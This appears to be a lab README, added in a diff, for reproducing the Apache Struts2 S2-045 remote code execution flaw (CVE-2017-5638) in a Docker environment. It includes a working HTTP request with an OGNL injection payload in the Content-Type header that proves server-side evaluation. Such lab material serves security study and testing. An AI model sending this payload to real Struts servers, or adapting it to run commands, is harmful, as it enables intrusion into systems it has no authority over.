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+# S2-045 Remote Code Execution Vulnerablity（CVE-2017-5638）
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
+
+References:
+
+ - http://struts.apache.org/docs/s2-045.html
+ - https://nsfocusglobal.com/apache-struts2-remote-code-execution-vulnerability-s2-045/
+
+## Setup
+
+Execute the following command to start the Struts2 2.3.30：
+
+```
+docker compose up -d
+```
+
+After the container is running, visit `http://your-ip:8080` that you can see an example of the upload page.
+
+## Exploitation
+
+Verify the vulnerability by following request:
+
+```
+POST / HTTP/1.1
+Host: localhost:8080
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Connection: close
+Content-Length: 0
+Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
+
+
+```
+
+`233*233` has been successfully executed:
+
+![](1.png)